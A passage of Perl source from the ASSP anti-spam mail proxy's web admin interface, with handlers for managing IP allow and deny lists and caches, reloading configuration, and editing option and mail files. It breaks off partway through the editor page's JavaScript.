        } elsif ($action eq 'F' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            my $ip=&ipNetwork($addr, $PenaltyUseNetblocks );
            delete $PBBlack{$ip};
            delete $PBBlack{$addr};
            $s = "$addr removed from PenaltyBox black";
        } elsif ($action eq 'G' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            delete $PTRCache{$addr};
            $s = "$addr removed from PTR Cache";
        } elsif ($action eq 'H' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            delete $URIBLCache{$addr};
            $s = "$addr removed from URIBL Cache";
        } elsif ($action eq 'I' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            my @record = SBCacheFind($addr);
            my $domain = [split( /\|/o, $record[2])]->[2];
            delete $WhiteOrgList{lc $domain} if $domain;
            delete $SBCache{$record[0]};
            $s = "$record[0] removed from SenderBase Cache";
        } elsif ($action eq 'J' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            delete $RBLCache{$addr};
            $s = "$addr removed from RBL Cache";
        } elsif ($action eq 'K' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            delete $MXACache{$addr};
            $s = "$addr removed from MXA Cache";
        } elsif ($action eq 'L' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            delete $BackDNS{$addr};
            delete $BackDNS2{$addr};
            $s = "$addr removed from Backscatter Cache";
        } elsif ($action eq 'M' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            delete $RWLCache{$addr};
            $s = "$addr removed from RWL Cache";
        } elsif ($action eq 'N' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noScanIP')) {
            my $r = $GPBmodTestList->('GUI','noScanIP','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to Virus-noScanIP" : "$addr not added to Virus-noScanIP";
        } elsif ($action eq 'O' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noScanIP')) {
            my $r = $GPBmodTestList->('GUI','noScanIP','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from Virus-noScanIP" : "$addr not removed from Virus-noScanIP";
        } elsif ($action) {
            $s = "<span class=\"negative\">access denied for the selected action</span>";
        }
    }
    $s = 'no action selected - or no result available' if (! $s && $qs{Submit});

    if ($s =~ /\Q$addr\E (?:added to|removed from)/ && $qs{Submit}) {
        $ConfigChanged = 1;
        &tellThreadsReReadConfig();   # reread the config
    }

    my $option  = "<option value=\"0\">select action</option>";
    if ($addr && ! $wrongaddr) {
        $option .= "<option value=\"1\">add to noProcessing IP's</option>"
         if (! $local && $noProcessingIPs=~/\s*file\s*:\s*.+/o && ! matchIP( $addr, 'noProcessingIPs',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingIPs'));
        $option .= "<option value=\"2\">remove from noProcessing IP's</option>"
         if (! $local && $noProcessingIPs=~/\s*file\s*:\s*.+/o &&  matchIP( $addr, 'noProcessingIPs',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingIPs'));
        $option .= "<option value=\"3\">add to whitelisted IP's</option>"
         if (! $local && $whiteListedIPs=~/\s*file\s*:\s*.+/o && ! matchIP( $addr, 'whiteListedIPs',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','whiteListedIPs'));
        $option .= "<option value=\"4\">remove from whitelisted IP's</option>"
         if (! $local && $whiteListedIPs=~/\s*file\s*:\s*.+/o &&  matchIP( $addr, 'whiteListedIPs',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','whiteListedIPs'));
        $option .= "<option value=\"5\">add to noDelay IP's</option>"
         if (! $local && $noDelay=~/\s*file\s*:\s*.+/o && ! matchIP( $addr, 'noDelay',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noDelay'));
        $option .= "<option value=\"6\">remove from noDelay IP's</option>"
         if (! $local && $noDelay=~/\s*file\s*:\s*.+/o &&  matchIP( $addr, 'noDelay',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noDelay'));
        $option .= "<option value=\"7\">add to Deny Connections from these IP's</option>"
         if (! $local && $denySMTPConnectionsFrom=~/\s*file\s*:\s*.+/o && ! matchIP( $addr, 'denySMTPConnectionsFrom',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','denySMTPConnectionsFrom'));
        $option .= "<option value=\"8\">remove from Deny Connections from these IP's</option>"
         if (! $local && $denySMTPConnectionsFrom=~/\s*file\s*:\s*.+/o &&  matchIP( $addr, 'denySMTPConnectionsFrom',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','denySMTPConnectionsFrom'));
        $option .= "<option value=\"9\">add to Do not block Connections from these IP's</option>"
         if (! $local && $noBlockingIPs=~/\s*file\s*:\s*.+/o && ! matchIP( $addr, 'noBlockingIPs',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noBlockingIPs'));
        $option .= "<option value=\"A\">remove from Do not block Connections from these IP's</option>"
         if (! $local && $noBlockingIPs=~/\s*file\s*:\s*.+/o &&  matchIP( $addr, 'noBlockingIPs',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noBlockingIPs'));
        $option .= "<option value=\"B\">add to Deny Connections from these IP's Strictly</option>"
         if (! $local && $denySMTPConnectionsFromAlways=~/\s*file\s*:\s*.+/o && ! matchIP( $addr, 'denySMTPConnectionsFromAlways',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','denySMTPConnectionsFromAlways'));
        $option .= "<option value=\"C\">remove from Deny Connections from these IP's Strictly</option>"
         if (! $local && $denySMTPConnectionsFromAlways=~/\s*file\s*:\s*.+/o &&  matchIP( $addr, 'denySMTPConnectionsFromAlways',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','denySMTPConnectionsFromAlways'));
        $option .= "<option value=\"D\">add to PenaltyBox white</option>"
         if (! &pbWhiteFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"E\">remove from PenaltyBox white</option>"
         if (&pbWhiteFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"F\">remove from PenaltyBox black</option>"
         if (&pbBlackFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"G\">remove from PTR Cache</option>"
         if (&PTRCacheFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"H\">remove from URIBL Cache</option>"
         if (&URIBLCacheFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"I\">remove from SenderBase Cache</option>"
         if (&SBCacheFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"J\">remove from RBL Cache</option>"
         if (&RBLCacheFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"K\">remove from MXA Cache</option>"
         if (&MXACacheFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"L\">remove from Backscatter Cache</option>"
         if (&BackDNSCacheFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"M\">remove from RWL Cache</option>"
         if (&RWLCacheFind($addr) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb'));
        $option .= "<option value=\"N\">add to Do Not Scan Messages from these IP\'s</option>"
         if ($noScanIP=~/\s*file\s*:\s*.+/o && ! matchIP( $addr, 'noScanIP',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noScanIP'));
        $option .= "<option value=\"O\">remove from Do Not Scan Messages from these IP\'s</option>"
         if ($noScanIP=~/\s*file\s*:\s*.+/o &&  matchIP( $addr, 'noScanIP',0,1 ) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noScanIP'));
    }

    if ($addr && ! $wrongaddr) {
        $s .= "<br /><br /><b>general IP-matches for $addr :</b><br /><br />\n";
        foreach (sort {lc($main::a) cmp lc($main::b)} keys %MakeIPRE) {
            next unless &canUserDo($WebIP{$ActWebSess}->{user},'cfg',$_);
            my $res = matchIP( $addr, $_,0,1 );
            $s .= "matches in<b> $_ </b>with <b>$res</b><br />" if $res;
        }
    }

    return <<EOT;
$headerHTTP

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" />
  <title>$currentPage ASSP IP action ($myName)</title>
  <link rel=\"stylesheet\" href=\"get?file=images/editor.css\" type=\"text/css\" />
</head>
<body onmouseover="this.focus();" ondblclick="this.select();">
<h2>add/remove IP addresses from lists</h2><hr>
    <div class="content">
      <form name="edit" id="edit" action="" method="post" autocomplete="off">
        <h3>IP-address or hostname to work with</h3>
        <input name="ip" size="20" autocomplete="off" value="$addr" onchange="document.forms['edit'].action.value='0';document.forms['edit'].reloaded.value='reloaded';document.forms['edit'].submit();return false;"/>
        $wrongaddr
        <br /><hr>
        <div style="align: left">
         <div class="shadow">
          <div class="option">
           <div class="optionValue">
            <select size="1" name="action">
             $option
            </select>
           </div>
          </div>
         </div>
        </div>
        <hr>
        <input type="submit" name="Submit" value="Submit" />&nbsp;&nbsp;&nbsp;&nbsp;
        <input type="hidden" name="reloaded" value="" />
        <input type="button" value="Close" onclick="javascript:window.close();"/>
        $slo
        <hr>
      </form>
      <br />Only configured, possible and authorized option are shown.
      <hr>
      <div class="note" id="notebox">
        <h3>results for action</h3><hr>
        $s
      </div>
    </div>
</body>
</html>

EOT
}

sub tellThreadsReReadConfig {
    if ($Config{inclResendLink}) {
        $Config{fileLogging} = 1;
        $fileLogging = 1;
    }
    &SaveConfig() if ($ConfigChanged < 2);
    &optionFilesReload();

    %LDAPNotFound = ();

    &readNorm();

    $ConfigChanged = 0;
}

sub modListOnEdit {
    my ($reportaddr, $to, $mail, $fh) = @_;
    $fh ||= 'modListOnEdit';
    $Con{$fh}->{reportaddr} = $reportaddr;
    return unless $EmailAdminReportsTo;
    my $mailfrom = $Con{$fh}->{mailfrom};
    my $header = $Con{$fh}->{header};
    $Con{$fh}->{mailfrom} = $EmailAdminReportsTo || $to;
    $Con{$fh}->{header} = ${$mail};
    for my $addr (&ListReportGetAddr($fh)) {
        &ListReportExec($addr,$Con{$fh});
    }
    $Con{$fh}->{mailfrom} = $mailfrom ;
    $Con{$fh}->{header} = $header;
    my $ret = $Con{$fh}->{report};
    $ret =~ s/^(?:\s|\r|\n)+//o;
    $ret =~ s/\r?\n/<br \/>/gos;
    $ret = '<br />'.$ret if $ret;
    delete $Con{$fh} if $fh eq 'modListOnEdit';
    return $ret;
}


sub ConfigEdit {
 my $fil  = $qs{file};
 $qs{note} = lc $qs{note};
 my $htmlfil;
 my $note = q{};
 my ($cidr,$regexp1,$regexp2);
 my ($s1,$s2,$editButtons,$option);
 my $noLineNum = '';
 $cidr=$regexp1=$regexp2=q{};
 
 if ($qs{note} eq '1'){
  $note = '<div class="note" id="notebox">File should have one entry per line; anything on a line following a numbersign ( #) is ignored (a comment). <a href=http://assp.cvs.sourceforge.net/viewvc/assp/assp/files/ target=files >newest option files are archived here</a>.';
 }
  elsif($qs{note} eq '9'){
  $note = '<div class="note" id="notebox">This matches the end of the address, so if you don\'t want to match subdomains then include the @. File should have one entry per line; anything on a line following a numbersign ( #) is ignored (a comment). Whitespace at the beginning or end of the line is ignored. </div>';
 }
 elsif($qs{note} eq '2'){
  $note = '<div class="note" id="notebox">First line specifies text that appears in the subject of report message. The remaining lines are the report message body. </div>';
 }
 elsif($qs{note} eq '3'){
  $note = '<div class="note" id="notebox">Put here comments to your assp installation.</div>';
 }
 elsif($qs{note} eq '4'){
  $note = '<div class="note" id="notebox">For removal of entries from BlackBox  use <a onmousedown="showDisp(\'8\')" target="main" href="./#noPB">noPB</a>.
For removal of entries from WhiteBox  use <a onmousedown="showDisp(\'8\')" target="main" href="./#noPBwhite">noPBwhite</a>. For  whitelisting IP numbers use <a onmousedown="showDisp(\'5\')" target="main" href="./#whiteListedIPs">Whitelisted IPs</a> or <a onmousedown="showDisp(\'4\')" target="main" href="./#noProcessingIPs">NoProcessing IPs</a>. For blacklisting use <a onmousedown="showDisp(\'2\')" target="main" href="./#denySMTPConnectionsFrom">Deny SMTP Connections From these IPs</a> and <a onmousedown="showDisp(\'2\')" target="main" href="./#denySMTPConnectionsFromAlways">Deny SMTP Connections From these IP numbers Strictly</a>.</div>';
 }
  elsif($qs{note} eq '5'){
  $note = '<div class="note" id="notebox"></div>';
 }
  elsif($qs{note} eq '6'){
  $note = '<div class="note" id="notebox">CacheEntry: <IP/Domain> <Separator(12)> <CreationDate> </div\>';
 }
  elsif($qs{note} eq '8' ){
  $note = '<div class="note" id="notebox"></div>';
 }
 elsif ($qs{note} eq 'm'){
        $fil="$base/$fil" if $fil!~/^\Q$base\E/i;
        $option  = "<option value=\"0\">select action</option>";
        $option .= "<option value=\"1\">resend mail</option>" if($CanUseEMS && $resendmail && $fil !~/\/$resendmail\//);
        $option .= "<option value=\"2\">save file</option>";
        $option .= "<option value=\"3\">copy file to notspamlog</option>" if ($fil !~/\/$notspamlog\//);
        $option .= "<option value=\"4\">copy file to spamlog</option>" if ($fil !~/\/$spamlog\//);
        $option .= "<option value=\"5\">copy file to incomingOkMail</option>" if ($fil !~/\/$incomingOkMail\//);
        $option .= "<option value=\"6\">copy file to viruslog</option>" if ($fil !~/\/$viruslog\//);
        $option .= "<option value=\"7\">copy file to correctedspam</option>" if ($fil !~/\/$correctedspam\//);
        $option .= "<option value=\"8\">copy file to correctednotspam</option>" if ($fil !~/\/$correctednotspam\//);
        $option .= "<option value=\"9\">copy file to discarded</option>" if ($fil !~/\/$discarded\//);

        $note = '<div class="note" id="notebox">To take an action, select the action and click "Do It!". To move a file to an other location, just copy and delete the file!';
$note .= '<br /> For "resend file" action install Email::Send  modules!' if !($CanUseEMS && $resendmail && $fil !~/\/$resendmail\//);
}


$regexp1 = " <span class=negative>CIDR notation like 182.82.10.0/24 cannot be used because Net::IP::Match::Regexp is not installed.</span>" if !$CanMatchCIDR;

$regexp1 = " <span class=positive>CIDR notation like 182.82.10.0/24 can be used.</span>" if $CanMatchCIDR;
$regexp2 = " Text after the IP range but before a numbersign will be used as comment to be shown in a match. For example: <br />182.82.10.0/24 Yahoo # this comment not shown" if $CanMatchCIDR;
my $replaceit = '<span style="align: left">Replace: <input type="text" id="find" size="20" /> with <input type="text" id="replace" size="20" /> <input type="button" value="Replace" onclick="replaceIt();" /></span>' if $qs{note} ne '8';

$cidr = " <span class=negative>Hyphenated ranges like 182.82.10.0-182.82.10.255 cannot be used because Net::CIDR::Lite is not installed.</span>  " if !$CanUseCIDRlite;
$cidr = " <span class=positive>Hyphenated ranges like 182.82.10.0-182.82.10.255 can be used.</span>" if $CanUseCIDRlite;
  if ($qs{note} eq '7'){
  $note = "<div class='note' id='notebox'>IP ranges can be defined as: 182.82.10. $regexp1 $cidr $regexp2</div>";
 }

 $s2 = '';
 if ($fil =~ /\.\./){
  $s2.='<div class="text"><span class="negative">File path includes \'..\' -- access denied</span></div>';
  mlog(0,"file path not allowed while editing file '$fil'");
 }

 else {

  $fil="$base/$fil" if $fil!~/^\Q$base\E/i;
  $fil =~ s/\/\//\//;
  $fil =~ s/\\\\/\\/;
  if ($qs{B1}=~/delete/i) {
   unlink($fil);
  }
  else {
   if (defined($qs{contents})) {
    $s1=$qs{contents};
    $s1=decodeHTMLEntities($s1);
    $s1 =~ s/\n$//; # prevents ASSP from appending a newline to the file each time it is saved.
    $s1 =~ s/\r$//;
    $s1 =~ s/\s+$//;
   # make line terminators uniform
    if ($qs{note} ne 'm') {
        $s1 =~ s/\r?\n/\n/g;
        open(my $CE,">",$fil);
        binmode $CE;
        print $CE $s1;
        close $CE;
        $s2='<span class="positive">File saved successfully</span>';
        &optionFilesReload();
    } else {      # to take actions on a mailfile
         $s1 =~ s/([^\r])\n/$1\r\n/go;
         $s1 .= "\r\n";
         my $action = $qs{fileaction};
         if ($action eq '1') {    # resend
             $s1 = "\r\n" . $s1;
             my $rfil = $fil;
             $rfil =~ s/^(\Q$base\E\/).+(\/.+$maillogExt)$/$1$resendmail$2/i;
             my ($to) = $s1 =~ /\nX-Assp-Intended-For:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio;
             ($to) = $s1 =~ /\nto:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio unless $to;
             my ($from) = $s1 =~ /\nX-Assp-Envelope-From:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio;
             ($from) = $s1 =~ /\nfrom:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio unless $from;
             $s1 =~ s/^\r\n//o;
             $s2='';
             if (! $to ) {
                 $s2 .= '<br />' if $s2;
                 $s2 .= '<span class="negative">!!! no addresses found in X-Assp-Intended-For: or TO: header line - please check !!!</span>';
             }
             if (! $from ) {
                 $s2 .= '<br />' if $s2;
                 $s2 .= '<span class="negative">!!! no addresses found in X-Assp-Envelope-From: or FROM: header line - please check !!!</span>';
             }
             if ((! $nolocalDomains && ! (localmail($to) or localmail($from)))) {
                 $s2 .= '<br />' if $s2;
                 $s2 .= '<span class="negative">!!! no local addresses found in X-Assp-Intended-For: or TO: header line - please check !!!</span>'
                     unless localmail($to);
                 $s2 .= '<br />' if $s2 =~ /span>$/o;
                 $s2 .= '<span class="negative">!!! no local addresses found in X-Assp-Envelope-From: or FROM: header line - please check !!!</span>'
                     unless localmail($from);
             }
             if (! $s2) {
                 if (open(my $CE,">",$rfil)) {
                     binmode $CE;
                     print $CE $s1;
                     close $CE;
                     $s2 .= '<span class="positive">File copied to resendmail folder</span>';
                     mlog(0,"info: request to create file: $rfil");
                     $nextResendMail = $nextResendMail < time + 3 ? $nextResendMail: time + 3;
                 } else {
                     $s2 .= '<span class="negative">unable to create file in resendmail folder - $!</span>';
                     mlog(0,"error: unable to create file in resendmail folder - $!");
                 }
             }
         } elsif ($action eq '2') {    # save
             if (open($CE,">",$fil)) {
                 binmode $CE;
                 print $CE $s1;
                 close $CE;
                 $s2='<span class="positive">File saved successfully</span>';
             } else {
                 $s2='<span class="negative">unable to save file - $!</span>';
                 mlog(0,"error: unable to save file - $!");
             }
         } elsif ($action eq '3') {    # copy to notspam
             my $rfil = $fil;
             $rfil =~s/^(\Q$base\E\/).+(\/.+$maillogExt)$/$1$notspamlog$2/i;
             if (open($CE,">",$rfil)) {
                 binmode $CE;
                 print $CE $s1;
                 close $CE;
                 $s2='<span class="positive">File copied to notspamlog folder</span>';
                 mlog(0,"info: request to create file: $rfil");
             } else {
                 $s2='<span class="negative">unable to create file in notspamlog folder - $!</span>';
                 mlog(0,"error: unable to create file in notspamlog folder - $!");
             }
         } elsif ($action eq '4') {    # copy to spam
             my $rfil = $fil;
             $rfil =~s/^(\Q$base\E\/).+(\/.+$maillogExt)$/$1$spamlog$2/i;
             if (open($CE,">",$rfil)) {
                 binmode $CE;
                 print $CE $s1;
                 close $CE;
                 $s2='<span class="positive">File copied to spamlog folder</span>';
                 mlog(0,"info: request to create file: $rfil");
             } else {
                 $s2='<span class="negative">unable to create file in spamlog folder - $!</span>';
                 mlog(0,"error: unable to create file in spamlog folder - $!");
             }
         } elsif ($action eq '5') {    # incomingOkMail
             my $rfil = $fil;
             $rfil =~s/^(\Q$base\E\/).+(\/.+$maillogExt)$/$1$incomingOkMail$2/i;
             if (open($CE,">",$rfil)) {
                 binmode $CE;
                 print $CE $s1;
                 close $CE;
                 $s2='<span class="positive">File copied to incomingOkMail folder</span>';
                 mlog(0,"info: request to create file: $rfil");
             } else {
                 $s2='<span class="negative">unable to create file in incomingOkMail folder - $!</span>';
                 mlog(0,"error: unable to create file in incomingOkMail folder - $!");
             }
         } elsif ($action eq '6') {    # viruslog
             my $rfil = $fil;
             $rfil =~s/^(\Q$base\E\/).+(\/.+$maillogExt)$/$1$viruslog$2/i;
             if (open($CE,">",$rfil)) {
                 binmode $CE;
                 print $CE $s1;
                 close $CE;
                 $s2='<span class="positive">File copied to viruslog folder</span>';
                 mlog(0,"info: request to create file: $rfil");
             } else {
                 $s2='<span class="negative">unable to create file in viruslog folder - $!</span>';
                 mlog(0,"error: unable to create file in viruslog folder - $!");
             }
 		} elsif ($action eq '7') {    # correctedspam
             my $rfil = $fil;
             $rfil =~s/^(\Q$base\E\/).+(\/.+$maillogExt)$/$1$correctedspam$2/i;
             if (open($CE,">",$rfil)) {
                 binmode $CE;
                 print $CE $s1;
                 close $CE;
                 $s2='<span class="positive">File copied to correctedspam folder</span>';
                 mlog(0,"info: request to create file: $rfil");

                 my ($to) = $s1 =~ /\nX-Assp-Intended-For:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio;
                 ($to) = $s1 =~ /\nto:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio unless $to;
                 my ($from) = $s1 =~ /\nX-Assp-Envelope-From:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio;
                 ($from) = $s1 =~ /\nfrom:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio unless $from;
                 if (   ($EmailErrorsModifyWhite == 1 || $EmailErrorsModifyNoP == 1)
                     && $to
                     && &localmail($to)
                     && $from && lc $from ne 'assp <>'
                     && !&localmail($from)

                    )
                 {
                     my $dfh = rand(1000);
                     $Con{$dfh}->{reporttype} = 0;
                     $Con{$dfh}->{mailfrom} = $EmailAdminReportsTo || $WebIP{$ActWebSess}->{user}.'@'.$myName;
                     $Con{$dfh}->{header} = $s1;
                     for my $addr (&ListReportGetAddr($dfh)) {   # process the addresses
                         &ListReportExec($addr,$Con{$dfh});
                     }
                     $Con{$dfh}->{report} =~ s/^(?:\s|\r|\n)+//;
                     $Con{$dfh}->{report} =~ s/\r?\n/<br \/>/gos;
                     $s2 .= '<br />'.$Con{$dfh}->{report};
                     delete $Con{$dfh};

                 }
                 if ( $EmailErrorsModifyPersBlack
                     && $to
                     && &localmail($to)
                     && $from && lc $from ne 'assp <>'
                     && !&localmail($from)

                    )
                 {
                     my $dfh = rand(1000);
                     $Con{$dfh}->{reporttype} = 16;
                     $Con{$dfh}->{mailfrom} = $EmailAdminReportsTo || $WebIP{$ActWebSess}->{user}.'@'.$myName;
                     $Con{$dfh}->{header} = $s1;
                     for my $addr (&ListReportGetAddr($dfh)) {   					
                         next if $addr =~ /reportpersblack/;
                         &ListReportExec($addr,$Con{$dfh});
                     }
                     $Con{$dfh}->{report} =~ s/^(?:\s|\r|\n)+//;
                     $Con{$dfh}->{report} =~ s/\r?\n/<br \/>/gos;
                     $s2 .= '<br />'.$Con{$dfh}->{report};
                     delete $Con{$dfh};

                 }
             } else {
                 $s2='<span class="negative">unable to create file in correctedspam folder - $!</span>';
                 mlog(0,"error: unable to create file in correctedspam folder - $!");
             }
        } elsif ($action eq '9') {    # discarded
             my $rfil = $fil;
             $rfil =~s/^(\Q$base\E\/).+(\/.+$maillogExt)$/$1$discarded$2/i;
             if (open($CE,">",$rfil)) {
                 binmode $CE;
                 print $CE $s1;
                 close $CE;
                 $s2='<span class="positive">File copied to discarded folder</span>';
                 mlog(0,"info: request to create file: $rfil");
             } else {
                 $s2='<span class="negative">unable to create file in discarded folder - $!</span>';
                 mlog(0,"error: unable to create file in discarded folder - $!");
             }

         } elsif ($action eq '8') {    # correctednotspam
             my $rfil = $fil;
             $rfil =~s/^(\Q$base\E\/).+(\/.+$maillogExt)$/$1$correctednotspam$2/i;
             if (open($CE,">",$rfil)) {
                 binmode $CE;
                 print $CE $s1;
                 close $CE;
                 $s2='<span class="positive">File copied to correctednotspam folder</span>';
                 mlog(0,"info: request to create file: $rfil");

                 my ($to) = $s1 =~ /\nX-Assp-Intended-For:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio;
                 ($to) = $s1 =~ /\nto:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio unless $to;
                 my ($from) = $s1 =~ /\nX-Assp-Envelope-From:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio;
                 ($from) = $s1 =~ /\nfrom:[^\<]*?<?($EmailAdrRe\@$EmailDomainRe)>?/sio unless $from;
                 if (   ($EmailErrorsModifyWhite == 1 || $EmailErrorsModifyNoP == 1)
                     && $to
                     && &localmail($to)
                     && $from
                     && lc $from ne 'assp <>'
                     && !&localmail($from)

                    )
                 {
                     my $dfh = rand(1000);
                     $Con{$dfh}->{reporttype} = 1;
                     $Con{$dfh}->{mailfrom} = $EmailAdminReportsTo || $WebIP{$ActWebSess}->{user}.'@'.$myName;
                     $Con{$dfh}->{header} = $s1;
                     for my $addr (&ListReportGetAddr($dfh)) {   # process the addresses
                         &ListReportExec($addr,$Con{$dfh});
                     }
                     $Con{$dfh}->{report} =~ s/^(?:\s|\r|\n)+//;
                     $Con{$dfh}->{report} =~ s/\r?\n/<br \/>/gos;
                     $s2 .= '<br />'.$Con{$dfh}->{report};
                     delete $Con{$dfh};
                     mlog( 0, "info: possible noprocessing and/or whitelist entrys added on File copied to correctednotspam folder" )
                       if $MaintenanceLog;
                 }
                 if ( $EmailErrorsModifyPersBlack
                     && $to
                     && &localmail($to)
                     && $from && lc $from ne 'assp <>'
                     && !&localmail($from)

                    )
                 {
                     my $dfh = rand(1000);
                     $Con{$dfh}->{reporttype} = 17;
                     $Con{$dfh}->{mailfrom} = $EmailAdminReportsTo || $WebIP{$ActWebSess}->{user}.'@'.$myName;
                     $Con{$dfh}->{header} = $s1;
                     for my $addr (&ListReportGetAddr($dfh)) {
                         next if $addr =~ /reportpersblack/;
                         &ListReportExec($addr,$Con{$dfh});
                     }
                     $Con{$dfh}->{report} =~ s/^(?:\s|\r|\n)+//;
                     $Con{$dfh}->{report} =~ s/\r?\n/<br \/>/gos;
                     $s2 .= '<br />'.$Con{$dfh}->{report};
                     delete $Con{$dfh};

                 }
             } else {
                 $s2='<span class="negative">unable to create file in correctednotspam folder - $!</span>';
                 mlog(0,"error: unable to create file in correctednotspam folder - $!");
             }
         }
         $qs{fileaction} = '0';
    }
   }
  }

 

  if(open($CE,"<$fil")) {
   local $/;
   $s1=<$CE>;
   # make line terminators uniform
   $s1=~s/(?:\r?\n|\r)/\n/g;
   $s1=encodeHTMLEntities($s1);
   close $CE;
  }
  else {
   $s2='<span class="negative">'.ucfirst($!).'</span>';
  }
  $htmlfil = ($fil && $LogCharset && $LogCharset !~ /^utf-?8/i) ? Encode::encode('UTF-8', Encode::decode($LogCharset,$fil)) : $fil;
  if (-e $fil) {
      if($qs{note} eq '8') {
          $editButtons='<div><input type="button" value="Close" onclick="javascript:window.close();"/></div>';
      } elsif ($qs{note} eq 'm') {
          if ($s1 !~ /\n\.\n+$/) {
              $note .= "";
          }
          $note .= '</div>';

          $editButtons="
 <div style=\"align: left\">
  <div class=\"shadow\">
   <div class=\"option\">
    <div class=\"optionValue\">
     <select size=\"1\" name=\"fileaction\">" .
      $option . "
     </select>
    </div>
   </div>
  </div>
 </div>
 &nbsp;&nbsp;";

          $editButtons .='<input type="submit" name="B1" value="Do It!" />&nbsp;&nbsp;<input type="submit" name="B1" value="Delete file" onclick="return confirmDelete(\''.$fil.'\');"/>';
          
          my $nf = $fil;
          $nf =~ s{([^a-zA-Z0-9])}{sprintf("%%%02X", ord($1))}eog;
          
          $editButtons .='&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="button" value="Close" onclick="javascript:window.close();"/>';
      } else {
          $editButtons='<div><input type="submit" name="B1" value="Save changes" />&nbsp;<input type="submit" name="B1" value="Delete file" onclick="return confirmDelete(\''.$fil.'\');"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="button" value="Close" onclick="javascript:window.close();"/></div>';
      }
  }
  else {
   $s2='<div class="text"><span class="positive">File deleted</span></div>' if $qs{B1}=~/delete/i;
   $editButtons='<div><input type="submit" name="B1" value="Save changes" />&nbsp;<input type="submit" name="B1" value="Delete file" disabled="disabled" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="button" value="Close" onclick="javascript:window.close();"/></div>';

  }		
 }
 return <<EOT;
$headerHTTP

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" />
  <title>$currentPage ASSP File Editor ($myName $fil)</title>
  <link rel=\"stylesheet\" href=\"get?file=images/editor.css\" type=\"text/css\" />
    <script type="text/javascript">
//<![CDATA[
	// Javascript code and layout adapted from TinyMCE
	// http://tinymce.moxiecode.com/
    <!--
        var wHeight=0, wWidth=0, owHeight=0, owWidth=0;
	
        function resizeInputs() {
	    var contents = document.getElementById('contents');
	    var notebox = document.getElementById('notebox');
		//alert(el2.offsetHeight);
	
	    if (!isIE()) {
	    	 //alert(navigator.userAgent);
	         wHeight = self.innerHeight - (notebox.offsetHeight+150);
	         wWidth = self.innerWidth - 50;
	    } else {
			 //alert(navigator.userAgent);
	         wHeight = document.body.clientHeight - (notebox.offsetHeight+150);
	         wWidth = document.body.clientWidth - 50;
	    }
	
	    contents.style.height = Math.abs(wHeight) + 'px';
	    contents.style.width  = Math.abs(wWidth) + 'px';
	    container.style.height = Math.abs(wHeight - 18) + 'px';
        }
    
